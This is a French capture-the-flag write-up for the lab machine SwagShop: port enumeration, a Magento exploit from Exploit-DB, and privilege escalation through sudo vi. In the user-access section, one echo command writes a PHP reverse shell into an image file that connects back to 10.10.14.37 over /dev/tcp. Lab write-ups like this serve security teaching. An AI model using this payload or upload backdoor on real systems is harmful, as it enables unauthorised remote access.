[info]

**Introduction**

SwagShop est une machine linux dont l’adresse IP est 10.10.10.140.

Compétences mises en œuvre :

* Enumération des ports et services.
* Enumération des fichiers et dossiers d’un site web.
* Réécriture d’un exploit.
* Elévation de privilège par un éditeur de texte.

**Enumération initiale**

Comme toujours, nous utilisons nmap pour énumérer les ports et services de la machine distante :

|  |
| --- |
| $ nmap -T4 -A 10.10.10.140 |

[nmap]

Deux ports sont ouverts, le port 22 pour un serveur ssh et le port 80 pour un serveur web. Nous allons énumérer ce dernier afin de trouver soit des répertoires soit des fichiers intéressants avec dirsearch :

|  |
| --- |
| $ dirsearch -w wordlist.txt -f -e "php,txt,html" -x 403 -r |

[dirsearch]

En attendant l’énumération des fichiers/dossiers sur le site web, nous nous rendons sur le site et on se rend compte qu’il y a une API Magento qui tourne.

**Obtenir un accès utilisateur**

Une recherche sur searchsploit est intéressante car elle nous révèlera plusieurs exploits disponibles :

|  |
| --- |
| $ searchsploit Magento |

[searchsploit]

On récupère l’exploit 37977 :

|  |
| --- |
| $ locate 37977.py  $ cp /usr/share/exploitdb/exploits/xml/webapps/37977.py ./37977.py |

Après avoir passé beaucoup de temps sur l’exploit à le réécrire, il finit par fonctionner :

[exploit]

L’exploit nous indique une page html avec un identifiant et un mot de passe : forme:forme pour nous connecter sur l’API en tant qu’Administrateur. Nous explorons donc l’interface et il y a une section pour publier un profil, dans le profil nous pouvons mettre une image, nous allons upload une image backdooré pour avoir un shell :

|  |
| --- |
| $ echo –e "< ?php\nexec('/bin/bash –c \"bash –i >& /dev/tcp/10.10.14.37/4567 0>&1\"') ;\n ?>" > rev.jpg |

**Obtenir un accès Administrateur**

En faisant l’énumération de base, on se rend compte que nous pouvons exécuter l’éditeur de texte VI avec les droits d’administrateur :

|  |
| --- |
| $ sudo -l |

[sudo]

Nous allons donc sur le site GTFOBin, pour voir les manipulations à effectuer pour obtenir un shell administrateur et lire le flag root.txt :

https://gtfobins.github.io/gtfobins/vi/

|  |
| --- |
| $ |

[vi]